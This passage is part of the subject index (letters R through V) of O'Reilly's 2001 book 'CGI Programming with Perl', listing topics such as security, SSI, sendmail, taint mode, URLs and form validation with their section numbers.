requests from clients: 11. Maintaining State
requests, HTTP: 2.3. Browser Requests
405 Not Allowed status header: 3.3.1.3. Specifying status codes
408 Request Timed Out status header: 3.3.1.3. Specifying status codes
alternatives to CGI for handling: 1.3.2. Alternatives to CGI
body: 2.2.1. The Request and Response Cycle
caching
problems with: 2.4.2.5. ETag
proxies and: 2.5. Proxies
CGI scripts, specifying for receiving: 4.2.2. The <FORM> Tag
client, identifying: 2.5.1. Identifying Clients
cookie header lines: 11. Maintaining State
encoding media types for: 4.2.2. The <FORM> Tag
generating with form submissions: 4.2.2. The <FORM> Tag
GET (see GET requests)
header field lines: 2.3.2. Request Header Field Lines
media types, listing preferred in headers: 2.6.1. Media Type
methods (see request methods)
server status codes for: 2.4.1. The Status Line
stateless or nonpersistent: 11. Maintaining State
timed out, 408 status code: 3.3.1.3. Specifying status codes
unique identifier, passing with: 11. Maintaining State
reset buttons: 4.2.3.7. Reset buttons
resources
content negotiation: 2.6. Content Negotiation
date and time of last update: 2.4.2.6. Last-Modified
dynamic, problems with caching: 2.5.2. Caching
entity tags for requested: 2.4.2.5. ETag
path information: 2.1.1. Elements of a URL
redirecting client request for: 2.4.2.7. Location
web: 2.1. URLs
responses, HTTP: 1.2. Introduction to CGI
2.4. Server Responses
alternatives to CGI for handling: 1.3.2. Alternatives to CGI
body: 2.2.1. The Request and Response Cycle
caching
problems with: 2.4.2.5. ETag
proxies and: 2.5. Proxies
categories, client capabilities for: 2.3.2.6. Accept
headers: 2.4.2. Server Headers
headers, server generation of: 3.3. CGI Output
response handlers: 17.3. mod_perl
restrictions, turning off in strict mode: 15.2.1. Use strict
return addresses (email messages), falsifying: 9.1.2. False Identities
revision control system, tracking changes to applications: 16.1.1. Plan for Future Growth
RFCs, information sources on: A.3. RFCs
root data structure, XML documents: 14.2. An Introduction to XML
14.4. Writing an XML Parser
root directory (server documents), separating from CGI script directory: 1.4.1.1. Configuring by directory
routing information, email: 9.3. Structure of Internet Email
overriding senders: 9.4.1. Command-Line Options
ROWS attribute: 4.2.5. The <TEXTAREA> Tag
rules for .procmailrc file: 9.7.1. Autoreply from nobody

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: S

@subrelated, URLs related to first-level URL: 14.5. CGI Gateway to XML Middleware
SAX (Simple API for XML) style parser: 14.5. CGI Gateway to XML Middleware
scalar context, list context vs.: 2.4.2.4. Date
scalars
variable data types in perl as: 1.3.1. Why Perl?
WDDX data types and: 7.3.1. WDDX
scatter charts, creating: 13.4.2. GD::Graph
Schwartzian Transform, precalculating file modification times: 12.3.1. Search Application
scope
variables, pragmas depending on: 6.4.2.2. Variable scope
variables within code blocks enclosed with bracket pairs: 6.4.2.2. Variable scope
ScriptAlias command: 1.4.1.1. Configuring by directory
scripts, Perl CGI (see CGI programs Perl language)
scrolling boxes: 4.2.4. The <SELECT> Tag
example: 4.2.4. The <SELECT> Tag
multiple values, handling: 4.3. Decoding Form Input
search application for indexes: 12.3.1. Search Application
search engines: 12. Searching the Web Server
CGI middleware and: 14. Middleware and XML
fgrep command: 12.1. Searching One by One
grep command: 12.2. Searching One by One, Take Two
inverted index search: 12.3. Inverted Index Search
LWP module, getting data from: 14.5. CGI Gateway to XML Middleware
regex-based: 12.2.1. Regex-Based Search Engine
resource data from, XML documents: 14.4. Writing an XML Parser
XML-based (Netscape browser): 14.4. Writing an XML Parser
search form for What's Related CGI script: 14.5. CGI Gateway to XML Middleware
search strings: 2.1.1. Elements of a URL
2.1.1. Elements of a URL
(see also query strings)
searching for font repositories: 13.5.4. Image Processing
secure connections: 3.2.1. CGI Environment Variables
(see also SSL)
environment variables, adding for: 3.2.1. CGI Environment Variables
Secure Socket Layer (see SSL)
security: 8. Security
browsers, trusting: 8.2.5. Trusting the Browser
CGI scripts, configuration by file name extension and: 1.4.1.2. Configuring by extension
data storage: 8.5. Data Storage
dynamic filenames: 8.5.1. Dynamic Filenames
file permissions: 8.5.3. File Permissions
location of files: 8.5.2. Location of Files
encryption: 8.3. Encryption
exec command (SSI), risks of enabling: 6.2.1. Configuration
fgrep command, passing through shell: 12.1. Searching One by One
JavaScript restrictions, bookmarklets and: 7.4.2. Bookmarklets and CGI
programs sending email, risks of: 9.5. mailx and mail
sending email: 9.1. Security
false identities: 9.1.2. False Identities
mailers and shells: 9.1.1. Mailers and Shells
spam: 9.1.3. Spam
servers
minimal access privileges of: 15.1.1. Application Permissions
symbolic links, problems with: 1.4.1.1. Configuring by directory
taint mode, using: 8.4. Perl's Taint Mode
user authentication and identification: 3.4.2. User Authentication and Identification
user data, passing through shell
avoiding with -t option, sendmail: 9.4.1. Command-Line Options
user input, handling: 8.2. Handling User Input
strategies: 8.2.3. Security Strategies
web security, importance of: 8.1. The Importance of Web Security
Select elements
creating with Embperl: 6.4.3.2. List elements
JavaScript support for: 7.2.1.1. Validating elements
SELECTED attribute, tag: 4.2.4.1. The <OPTION> tag
selecting data in databases: 10.3.3. Accessing Data
self-referencing hypertext links back to scripts: 14.5. CGI Gateway to XML Middleware
SelfLoader module: 17.1.6. SelfLoader
self_url method (CGI.pm): 5.2.1.5. self_url
semi-autonomous clients (JavaScript-enabled web pages): 7.3. Data Exchange
sender address, email messages: 9.3. Structure of Internet Email
sendmail: 9.4. sendmail
command-line options: 9.4.1. Command-Line Options
mail queue: 9.4.2. Mail Queue
Mail::Mailer module, using with: 9.6. Perl Mailers
mailx and mail programs vs.: 9.5. mailx and mail
Server header: 2.4.2.8. Server
complete headers, including in: 3.3.2. Complete (Non-Parsed) Headers
Server Side Includes (see SSI)
SERVER_NAME environment variable: 5.2.1.7. virtual_host
SERVER_PROTOCOL environment variable: 3.3.2. Complete (Non-Parsed) Headers
servers: 2.3.2.4. Authorization
(see also web servers)
authorization requirements of: 2.3.2.4. Authorization
buffering, handling (script for finding): 3.3.2. Complete (Non-Parsed) Headers
certificates, information about: 3.2.1. CGI Environment Variables
communicating with other: 14.1. Communicating with Other Servers
sockets: 14.1.1. Sockets
configuring to execute CGI application with user HTML document requests: 11.1. Query Strings and Extra Path Information
content negotiation, performing: 2.6. Content Negotiation
daemons, turning Perl CGI applications into: 17. Efficiency and Optimization
document tree, excluding data files from: 8.5.2. Location of Files
environment variables specific to, listing: 3.2.2. Examining Environment Variables
error logs, checking: 15.3.2. Check Error Logs
filesystems, using to control data file access: 8.5.3. File Permissions
host name: 2.3.2.1. Host
HTML form data, sending to: 4.1. Sending Data to the Server
HTTP: 2. The Hypertext Transport Protocol
user authentication: 3.4.2. User Authentication and Identification
information servers: 7.3. Data Exchange
Internal Server Error status code: 3.3.1.3. Specifying status codes
minimal access privileges of: 15.1.1. Application Permissions
output to client, buffering: 3.1.1.2. STDOUT
remote processes as: 14.1. Communicating with Other Servers
request/response cycle: 2.2.1. The Request and Response Cycle
response to HTTP GET request: 11. Maintaining State
responses: 2.4. Server Responses
11. Maintaining State
headers: 2.4.2. Server Headers
proxies, using for: 2.5. Proxies
searching: 12. Searching the Web Server
fgrep command, using: 12.1. Searching One by One
grep command, using: 12.2. Searching One by One, Take Two
inverted index, using: 12.3. Inverted Index Search
SMTP: 9.6. Perl Mailers
verifying email addresses: 9.2. Email Addresses
SSI (see SSI)
STDERR, handling output to: 3.1.1.3. STDERR
users, running as
file permissions and: 10.1.2. Write Permissions
X Windows server, adding hostname or IP address: 15.3.5.2. ptkdb
Service Unavailable error messages: 3.3.1.3. Specifying status codes
3.3.1.3. Specifying status codes
servlets, CGI vs.: 1.3.2. Alternatives to CGI
session identifiers
get_id function, returning with: 11.2. Hidden Fields
in hidden field: 11.2. Hidden Fields
storing on client side with cookies: 11.3. Client-Side Cookies
sessions, user: 11. Maintaining State
set command: 6.2.2. Format
Set-cookie header: 2.4.2.9. Set-Cookie
setting cookies
in redirection: 11.3.2. Testing for Cookies
SHA-1 (Secure Hash Algorithm): 8.3. Encryption
digests, producing with: 8.3.2. SHA-1
shadow_text.cgi script (example): 13.5.4. Image Processing
shared file locks: 10.1.1.1. flock
shells
avoiding accessing to maximize performance: 17.1.8. Avoid the Shell
email addresses, passing through as parameters: 9.1.1. Mailers and Shells
external, Perl taint checking: 8.4.2. What Is Monitored by Taint Mode
fgrep command, passing through: 12.1. Searching One by One
user data, passing through
avoiding with -t option (sendmail): 9.4.1. Command-Line Options
dangerous characters: 8.2.2. User Input and the Shell
user input and: 8.2.2. User Input and the Shell
shopping cart example
maintaining state across: 11. Maintaining State
subroutines for handling requests: 11.2. Hidden Fields
utility functions: 11.2. Hidden Fields
signature (see boilerplates)
sign_petition.cgi script (example): 10.1.4. Delimiters
single empty tags, XML vs. HTML: 14.2. An Introduction to XML
single quotes around arguments, security and: 8.2.3. Security Strategies
site_perl directory, saving error module in: 5.5.4. Custom Module
SIZE attribute
tag: 4.2.4. The <SELECT> Tag
text fields: 4.2.3.1. Text fields
size, calculating for directories: 5.2.4. File Uploads with CGI.pm
slowness, CGI applications: 17. Efficiency and Optimization
slurping, avoiding: 17.1.4. Avoid Slurping
SMTP protocol
command to validate email addresses: 9.2. Email Addresses
Mail::Mailer, using with: 9.6. Perl Mailers
Net::SMTP module, using with: 9.6. Perl Mailers
sockets: 14.1.1. Sockets
14.1.1. Sockets
(see also SSL)
identifying in host IP addresses: 14.1.1. Sockets
IO::Socket module: 14.1.2. IO::Socket
$socket instance variable, use as file handle: 14.1.2. IO::Socket
sort command
execution within pipe, checking for: 15.2.3. Is It Open?
source code (CGI scripts), security risks from revealing: 1.4.1.1. Configuring by directory
spaces
in email addresses: 9.2.1. Validating Syntax
between HTML elements, CGI.pm and: 5.3.3. Standard HTML Elements
indenting code with: 16.2. Coding Guidelines
list element separation, eliminating in: 5.3.3. Standard HTML Elements
plus (+) character, replacing with: 4.3. Decoding Form Input
URLs
encoding as + or %20: 2.1.3. URL Encoding
replacing with plus (+) sign: 4.1. Sending Data to the Server
spam: 9.1.3. Spam
falsifying sender identity: 9.1.2. False Identities
split command: 4.3. Decoding Form Input
spreadsheets, CSV data format in: 10.1.5. DBD::CSV
SQL (Structured Query Language): 10.3. Introduction to SQL
accessing CSV-format data with: 10.1.5. DBD::CSV
accessing data: 10.3.3. Accessing Data
inserting data: 10.3.2. Inserting Data
Oracle PL/SQL programming language: 16.1.6. Separating Storage from Your Primary Code
queries: 16.1.6. Separating Storage from Your Primary Code
passing to prepare command: 10.4.1.3. Database querying
starting with execute command: 10.4.1.3. Database querying
troubleshooting errors: 10.4.2.1. Address book database creation script
SRC attribute: 4.2.3.8. Image buttons
SSI (Server Side Includes): 6.2. Server Side Includes
# in: 6.2.7. Common Errors
access counters: 6.2.6. Executing CGI Programs
boilerplate files: 6.2.5. Including Boilerplates
CGI script execution, enabling to use exec command: 6.2.1. Configuration
commands: 6.2. Server Side Includes
6.2.2. Format
environment variables, inserting into static HTML documents: 6.2.3. Environment Variables
exec command: 6.2.1. Configuration
enabling without enabling exec tag: 6.2.1. Configuration
Mason module component approach vs.: 6.5.1. A Component Approach
parsing CGI output, inability to: 6.2. Server Side Includes
servers, configuring to parse: 6.2.1. Configuration
SSL (Secure Socket Layer)
CGI programs and: 2.2. HTTP
https connections using: 8.3. Encryption
stale responses, determining: 2.5.2. Caching
standard input (see input STDIN)
standard output (see output STDOUT)
standard syntax, CGI.pm module: 5.1.3. Standard and Object-Oriented Syntax
start tags (XML), defining handler for: 14.5. CGI Gateway to XML Middleware
starting and ending HTML documents: 5.3.2. Starting and Ending Documents
starting bracket pair: 6.4.2.1. Embperl code blocks
state
maintaining: 11. Maintaining State
client-side cookies: 11.3. Client-Side Cookies
hidden fields: 11.2. Hidden Fields
query strings and extra path information: 11.1. Query Strings and Extra Path Information
summary of techniques for: 11. Maintaining State
stateless (nonpersistent) HTTP requests: 11. Maintaining State
static documents
HTML
embedding dynamic text banners in: 13.5.4. Image Processing
for web server response: 1.2. Introduction to CGI
for general errors: 3.4.1. Check the Client Browser
language and media type negotiation for: 2.6.2. Internationalization
static HTML documents, inserting environment variables into: 6.2.3. Environment Variables
static vs. dynamic resources: 1.1.1. How CGI Is Used Today
status
Image::Magick, returning with method calls: 13.5.2. Converting PNGs to GIFs or JPEGs
system calls, checking: 15.2.2. Check Status of System Calls
status codes: 2.4.1. The Status Line
header method, specifying with: 5.3.1.2. Status
printing: 3.3.1.3. Specifying status codes
redirection of client request: 2.4.2.7. Location
specifying with Status header, CGI output: 3.3.1.3. Specifying status codes
status headers
CGI scripts, output: 3.3.1. Partial Headers
CGI scritps, output: 3.3.1.3. Specifying status codes
common, description of: 3.3.1.3. Specifying status codes
status line: 2.2.2. HTTP Headers
2.4. Server Responses
complete headers, including in: 3.3.2. Complete (Non-Parsed) Headers
STDERR (standard error): 3.1.1. File Handles
output to, sending to server error log: 5.5.1. Dying Gracefully
server error logs and: 15.3.2. Check Error Logs
STDIN (standard input): 1.2. Introduction to CGI
3.1.1. File Handles
GET requests, problems with: 3.1.1.1. STDIN
tainted data, checking for: 8.4.1. How Taint Works
STDOUT (standard output): 1.2. Introduction to CGI
3.1.1. File Handles
buffering output to, header errors and: 15.1.4. "Malformed" Header
CGI programs, printing to: 3.1.1.2. STDOUT
Embperl module, use of: 6.4.2.1. Embperl code blocks
stem.pl program: 12.3. Inverted Index Search
Storable module: 10.2.2. MLDBM
storage, separating from primary code: 16.1.6. Separating Storage from Your Primary Code
store.cgi script (example): 11.3.2. Testing for Cookies
strategic programming: 16.1. Architectural Guidelines
directories, organizing projects with: 16.1.2. Use Directories to Organize Your Projects
strict mode: 1.2.1. Sample CGI
mod_perl, use with: 17.3.2. mod_perl Considerations
strict module
error prevention in Perl and CGI scripts: 15.2.1. Use strict
restrictions, turning off: 15.2.1. Use strict
strings
command-line options taking arguments, indicating: 12.3. Inverted Index Search
double quoted, @ character in: 13.5.4. Image Processing
format:filename string: 13.5.2. Converting PNGs to GIFs or JPEGs
perl treatment of: 1.3.1. Why Perl?
structure, Internet email: 9.3. Structure of Internet Email
Structured Query Language (see SQL)
style guide topics, CGI application coding: 16.2. Coding Guidelines
style sheets
HTML documents, defining for: 5.3.2.1. start_html
XML documents, guiding browser display: 14.2. An Introduction to XML
Subject field, email messages: 9.3. Structure of Internet Email
submit buttons: 4.2.3.6. Submit buttons
actions, specifying for CGI script to perform: 10.4.2.2. Address book CGI script
flow, controlling with: 16.1.8. Using Submit Buttons to Control Flow
image buttons, supporting as: 5.2.2.4. Supporting image buttons as submit buttons
online music browser example: 7.3.2. Example
validating form input: 7.2.1.2. Validating submits
7.2.1.3. Validation example
subroutines
array context and: 4.3. Decoding Form Input
bareword vs. strict: 15.2.1. Use strict
capitalization of, standardizing: 16.2. Coding Guidelines
constants, defining as (mod_perl): 17.3.2. mod_perl Considerations
declarations, bracket pairs enclosing (Embperl): 6.4.2.1. Embperl code blocks
display_whats_related_to_whats_related: 14.5. CGI Gateway to XML Middleware
email addresses, validating: 9.2.1. Validating Syntax
error handling: 5.5.3. Error Subroutines
get subroutine: 14.5. CGI Gateway to XML Middleware
get_whats_related_to_whats_related: 14.5. CGI Gateway to XML Middleware
14.5. CGI Gateway to XML Middleware
handle_start: 14.5. CGI Gateway to XML Middleware
hiding with SelfLoader module: 17.1.6. SelfLoader
requests, handling (shopping cart example): 11.2. Hidden Fields
with same name, avoiding collisions of: 5.1.3. Standard and Object-Oriented Syntax
strict rules for, using: 1.2.1. Sample CGI
sub parse_form_data (example): 4.3. Decoding Form Input
tainted variables, checking for: 8.4.1. How Taint Works
URI::URL module: 2.1.3. URL Encoding
suffixes to words, removing: 12.3. Inverted Index Search
symbolic links, security problems with: 1.4.1.1. Configuring by directory
symbolic references, preventing with strict reference mode: 15.2.1. Use strict
symlinks, mapping web site content into the corresponding directories on web server: 16.1.2. Use Directories to Organize Your Projects
syntax
CGI programs, checking: 15.3.1. Check Syntax
email addresses, validating: 9.2.1. Validating Syntax
invalid, web browser requests: 3.3.1.3. Specifying status codes
Perl, checking for errors: 15.1.4. "Malformed" Header
SSI commands: 6.2.2. Format
XML, simplicity of: 14.2. An Introduction to XML
system functions
checking status for error prevention: 15.2.2. Check Status of System Calls
commonly used: 15.2.2. Check Status of System Calls
exec: 15.1.2. The Pound-Bang
system loads, calculating and graphing (loads.cgi script): 13.3.2. Using GD
systems, problems with output stream buffering: 15.2.6. Unbuffer Output Stream

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: T

tables
address table, creating: 10.4.2.1. Address book database creation script
creating: 10.3.1. Creating a Database
HTML, automatic construction by Embperl: 6.4.3. HTML Logic
$TABLE, containing table name: 10.4.2.2. Address book CGI script
tabs
indenting code with: 16.2. Coding Guidelines
using as file delimiters: 10.1.4. Delimiters
encoding/decoding data: 10.1.4. Delimiters
tag: 4.2.2. The <FORM> Tag
4.2.3. The <INPUT> Tag
4.2.4. The <SELECT> Tag
4.2.4.1. The <OPTION> tag
4.2.5. The <TEXTAREA> Tag
5.3.1.4. Specifying an alternative target
5.3.2.1. start_html
5.3.2.1. start_html
5.3.2.1. start_html
5.3.2.2. end_html
7.3.2. Example
14.3. Document Type Definition
onSubmit handler, adding as attribute: 7.2.1.2. Validating submits
tag: 4.2.4.1. The <OPTION> tag
tag, using with shadow_text.cgi, using with: 13.5.4. Image Processing
tags
around array references: 11.2. Hidden Fields
enclosing Perl source code in: 15.3.4. Dumping Variables
HTML
forms: 4.2. Form Tags
opening and closing tags: 6.3.1. Syntax
rules for basic: 5.3.3. Standard HTML Elements
tag: 4.2.3. The <INPUT> Tag
tags: 15.3.4. Dumping Variables
meta tags: 5.3.2.1. start_html
tag: 4.2.4.1. The <OPTION> tag
4.2.4.1. The <OPTION> tag
5.3.1.4. Specifying an alternative target
5.3.2.1. start_html
7.3.2. Example
13.5.4. Image Processing
text area tags: 6.4.3.3. Form input elements
XML
appplication-specific markup with: 14.2. An Introduction to XML
filtering out bad data with regular expressions: 14.5. CGI Gateway to XML Middleware
opening and closing tags: 14.2. An Introduction to XML
RDF: 14.4. Writing an XML Parser
start tags, defining handler for: 14.5. CGI Gateway to XML Middleware
tag: 14.3. Document Type Definition
tags: 14.3. Document Type Definition
taint checking, turning on in perl: 1.2.1. Sample CGI
taint mode: 8.4. Perl's Taint Mode
Apache::Registry module, configuring to honor: 17.3.1. Installation and Configuration
BEGIN block, disabling with: 13.3.2. Using GD
common problems with: 8.4.5. Common Problems with Taint Mode
data monitored by: 8.4.2. What Is Monitored by Taint Mode
how it works: 8.4.1. How Taint Works
reasons for using: 8.4.4. Why Use Taint Mode?
removing taint: 8.4.3. How Taintedness Is Removed
tainted data, email addresses in hidden fields: 9.1.2. False Identities
Tcl scripting language, Tk graphics toolkit: 15.3.5.2. ptkdb
templates (HTML): 6. HTML Templates
Embperl
disabling access to: 6.4.1.3. embpcgi.pl
global variables, defining with Embperl: 6.4.4. Global Variables
HTML::Mason module: 6.5. Mason
parser for: 6.3. HTML::Template
reasons for using: 6.1. Reasons for Using Templates
temporary files: 10.1.3. Temporary Files
anonymous: 10.1.3.1. Anonymous temporary files
named: 10.1.3.2. Named temporary files
temporary moves, URLs of requested resources: 3.3.1.3. Specifying status codes
temporary variables, using lexical variables as (Embperl): 6.4.2.2. Variable scope
testing for cookies: 11.3.2. Testing for Cookies
cookie_test.cgi script: 11.3.2. Testing for Cookies
text
encoding/decoding for URLs: 2.1.3. URL Encoding
4.1. Sending Data to the Server
in GD images, managing with GD::Text modules: 13.4.1. GD::Text
Text and TextArea elements, support by JavaScript onChange handler: 7.2.1.1. Validating elements
text area tags, creating with Embperl: 6.4.3.3. Form input elements
text banner with drop shadow, creating: 13.5.4. Image Processing
text editors (CGI scripts), security risks with backup files: 1.4.1.2. Configuring by extension
text fields
attributes of: 4.2.3.1. Text fields
generating for input (forms): 4.2.3.1. Text fields
text files: 10.1. Text Files
CSV: 10.1.5. DBD::CSV
10.4.1. Using DBI
data storage in: 16.1.6. Separating Storage from Your Primary Code
delimiters, use in: 10.1.4. Delimiters
filtering out with -T operator: 12.3. Inverted Index Search
locking: 10.1.1. Locking
flock command: 10.1.1.1. flock
manual lock files: 10.1.1.2. Manual lock files
random line, algorithm for selecting: 13.2.1. An Example
temporary: 10.1.3. Temporary Files
anonymous and named: 10.1.3.1. Anonymous temporary files
testing for with -T operator: 12.2. Searching One by One, Take Two
write permissions: 10.1.2. Write Permissions
text/html media type: 2.6.1. Media Type
text/plain media type: 2.6.1. Media Type
three-dimensional charts, generating with GD::Graph3D: 13.4.3. GD::Graph3D
tie function: 7.4.2. Bookmarklets and CGI
10.1.1.1. flock
10.2.1. DB_File
12.3.1. Search Application
hash, binding to index file: 12.3. Inverted Index Search
tilde escapes (~!), mailx and mail programs: 9.5. mailx and mail
times and dates
HTTP responses: 2.4.2.4. Date
relative times, creating: 5.3.1.3. Caching
resources, last modification of: 2.4.2.6. Last-Modified
timing out HTTP requests: 3.3.1.3. Specifying status codes
titles
GD images, changing alignment of: 13.4.1.1. GD::Text::Align
HTML documents: 5.3.2.1. start_html
Tk.pm module: 15.3.5.2. ptkdb
TLS (Transport Layer Security) protocol: 2.2. HTTP
https connections using: 8.3. Encryption
tmpFileName method (CGI.pm), using: 5.2.4. File Uploads with CGI.pm
To field, email messages: 9.3. Structure of Internet Email
toggling between states on checkboxes: 4.2.3.4. Checkboxes
tokens, indicating end of here documents: 5.4.2. Here Documents
tools for development, standardizing: 16.2. Coding Guidelines
top-level domains in email addresses: 9.2.1. Validating Syntax
to_uri_path function: 12.3.1. Search Application
tracking changes to CGI applications: 16.1.1. Plan for Future Growth
tracking users: 11. Maintaining State
transfer errors, file uploads and: 5.2.4. File Uploads with CGI.pm
transparency
GIF format, support for: 13.1.1. GIF
JPEG format, lacking support for: 13.1.3. JPEG
PNG format support for: 13.1.2. PNG
trapping die function: 5.5.1.1. Trapping die
trapping fatal calls: 15.2.4. Trap die
troubleshooting: 9.4.1. Command-Line Options
(see also debugging)
errors, different levels of SQL submission: 10.4.2.1. Address book database creation script
TrueType fonts: 13.5.4. Image Processing
trusted users, sendmail: 9.4.1. Command-Line Options
TYPE attribute: 4.2.3. The <INPUT> Tag

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: U

unbuffering output stream: 15.2.6. Unbuffer Output Stream
undef vs. (): 17.1.5. undef Versus ( )
underscores (_)
filenames, replacing characters with: 5.2.4. File Uploads with CGI.pm
nonalphanumeric parameter name characters, replacing with: 5.2.3. Exporting Parameters to a Namespace
use in Perl: 16.2. Coding Guidelines
Unicode-compliant data transport, XML: 14.2. An Introduction to XML
unique identifiers
generating for sessions: 11.2. Hidden Fields
in hidden field: 11.2. Hidden Fields
inserting into HTML documents, module for: 11.1. Query Strings and Extra Path Information
mod_unique_id module, building with: 11.1. Query Strings and Extra Path Information
passing with HTTP requests: 11. Maintaining State
Unisys patent on LZW compression algorithm: 13.1.1.1. The LZW patent
Unix operating system
binmode function, not supporting: 13.2.1.1. binmode
ColdFusion language, versions for: 1.3.2. Alternatives to CGI
commands to locate perl: 15.1.2. The Pound-Bang
executable files, commands for: 1.2.2. Invoking CGI Scripts
executables, differentiating in filesystem: 1.2.2. Invoking CGI Scripts
file permissions: 10.1.2. Write Permissions
forward slashes (/) separating directories: 12.3.1. Search Application
Perl
linefeed and carriage return, representing on: 3.3.1.1. Outputting documents
speediness on: 1.3.1. Why Perl?
sendmail on: 9.4. sendmail
uptime command: 13.3.2. Using GD
variables (see environment variables)
unsolicited bulk email (see spam)
untainting data: 8.4.3. How Taintedness Is Removed
fgrep command search: 12.1. Searching One by One
untying hash tables from database files: 10.2.1. DB_File
update query screen: 10.4.2.2. Address book CGI script
updating databases: 10.3.4. Updating Data
updating HTML documents with links: 5.3.1.4. Specifying an alternative target
upload method (CGI.pm): 5.2.4. File Uploads with CGI.pm
UPLOAD_DIR: 5.2.4. File Uploads with CGI.pm
uploading files
handling with CGI.pm: 5.2.4. File Uploads with CGI.pm
uppercase, use in request methods: 2.3.1. The Request Line
uptime Unix system command: 13.3.2. Using GD
13.3.2. Using GD
URI module: 14.1.2. IO::Socket
URIs (Uniform Resource Identifiers): 2.1. URLs
URI::URL module: 2.1.3. URL Encoding
url method (CGI.pm): 5.2.1.6. url
url_escape and url_unescape functions: 2.1.3. URL Encoding
URLs (Uniform Resource Locators): 1.1. History
2.1. URLs
absolute and relative: 2.1.2. Absolute and Relative URLs
base for relative URLs in HTML documents: 2.4.2.1. Content-Base
bookmarklets, JavaScript: 7.4. Bookmarklets
breaking into components with URI module: 14.1.2. IO::Socket
CGI scripts: 1.2.2. Invoking CGI Scripts
calling from, self_url method and: 5.2.1.5. self_url
pointing to with tag: 5.3.2.1. start_html
specifying for receiving HTTP requests: 4.2.2. The <FORM> Tag
components of: 2.1.1. Elements of a URL
fragment identifiers: 2.1.1. Elements of a URL
hosts: 2.1.1. Elements of a URL
path information: 2.1.1. Elements of a URL
port numbers: 2.1.1. Elements of a URL
scheme (protocol): 2.1.1. Elements of a URL
to embpcgi.pl script: 6.4.1.3. embpcgi.pl
encoded characters: 4.3. Decoding Form Input
encoding characters in: 2.1.3. URL Encoding
URI::URL module: 2.1.3. URL Encoding
forwarding users to with Location header: 3.3.1.2. Forwarding to another URL
getting data from with LWP module: 14.5. CGI Gateway to XML Middleware
image displayed for image button, specifying: 4.2.3.8. Image buttons
invalid, 404 status code responses and: 3.3.1.3. Specifying status codes
IP addresses, problems with using in: 2.1.1. Elements of a URL
last page visited by user (Referer field): 2.3.2.7. Referer
manually constructed, passing parameters without equal (=) sign: 4.3. Decoding Form Input
parameters, visibility in GET requests: 8.2.5. Trusting the Browser
paths: 12.3.1. Search Application
extra information, maintaining state with: 11.1. Query Strings and Extra Path Information
mapping to CGI script directory on disk: 1.4.1.1. Configuring by directory
passing unique identifiers as extra information: 11. Maintaining State
query strings in: 2.1.1. Elements of a URL
4.1. Sending Data to the Server
4.3. Decoding Form Input
5.2.2.2. POST and the query string
redirection with redirect method: 5.3.1.5. Redirection
related to current, looking up with Netscape browser: 14.4. Writing an XML Parser
relative, advantages of: 16.1.3. Use Relative URLs
of requested resources, changed: 3.3.1.3. Specifying status codes
3.3.1.3. Specifying status codes
specifying for tag: 5.3.2.1. start_html
text, encoding: 4.1. Sending Data to the Server
unique identifier embedded in: 11.1. Query Strings and Extra Path Information
#USERID# as identifier for documents: 11.1. Query Strings and Extra Path Information
URNs (Uniform Resource Names): 2.1. URLs
use statement: 10.4.1.1. Connecting to DBI
use strict command: 1.2.1. Sample CGI
use vars statement: 10.4.2.2. Address book CGI script
user agent, creating with LWP: 14.1.3. LWP
User-Agent field: 2.3.2.5. User-Agent
user file, user names and encrypted passwords in: 2.3.2.4. Authorization
user registration form (example): 7.2.1.3. Validation example
user session: 11. Maintaining State
usernames: 2.4.2.10. WWW-Authenticate
users
authentication and identification (script): 3.4.2. User Authentication and Identification
email permissions, security risks of: 9.1.2. False Identities
error information, limiting view of: 5.5.2. CGI::Carp
input
tainted data, checking for: 8.4.1. How Taint Works
input from
handling securely: 8.2. Handling User Input
untainting: 8.4.3. How Taintedness Is Removed
tracking: 11. Maintaining State
web servers running as: 9.4.1. Command-Line Options

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: V

validating
email addresses: 9.2. Email Addresses
9.2.1. Validating Syntax
form input
CGI scripts, re-validating client data with: 7.2.1.4. Validating twice
elements: 7.2.1.1. Validating elements
example: 7.2.1.3. Validation example
formLib.js file: 7.2.1.3. Validation example
input_validation.html file: 7.2.1.3. Validation example
JavaScript, improving with: 7.2.1. Input Validation
submits: 7.2.1.2. Validating submits
7.2.1.3. Validation example
input data: 8.3. Encryption
XML data
DTDs, using: 14.2. An Introduction to XML
parsers, providing rules for: 14.3. Document Type Definition
separating rules from the parser: 14.3. Document Type Definition
VALUE attribute: 4.2.3. The <INPUT> Tag
checkboxes: 4.2.3.4. Checkboxes
hidden fields: 4.2.3.3. Hidden fields
image buttons: 4.2.3.8. Image buttons
plain buttons: 4.2.3.9. Plain buttons
radio buttons: 4.2.3.5. Radio buttons
reset buttons: 4.2.3.7. Reset buttons
submit buttons: 4.2.3.6. Submit buttons
tag: 4.2.4.1. The <OPTION> tag
text fields: 4.2.3.1. Text fields
var attribute (SSI): 6.2.3. Environment Variables
variables: 1.2. Introduction to CGI
(see also environment variables)
bracket pairs enclosing in Embperl: 6.4.2.1. Embperl code blocks
capitalization of, coding style guide: 16.2. Coding Guidelines
declarations
strict mode, using: 15.2.1. Use strict
declaring and reducing number of global: 1.2.1. Sample CGI
dumping to browser for testing: 15.3.4. Dumping Variables
global, declaring with use vars statement: 10.4.2.2. Address book CGI script
JavaScript, case sensitivity: 7.4.1. Bookmarklet Basics
local
bracket pair, enclosing in Embperl: 6.4.2.1. Embperl code blocks
localizing with my function: 17.1.3. Localize Variables with my
mod-perl and: 17.3.2. mod_perl Considerations
scope, code blocks enclosed in bracket pairs: 6.4.2.2. Variable scope
separation into packages: 5.1.3. Standard and Object-Oriented Syntax
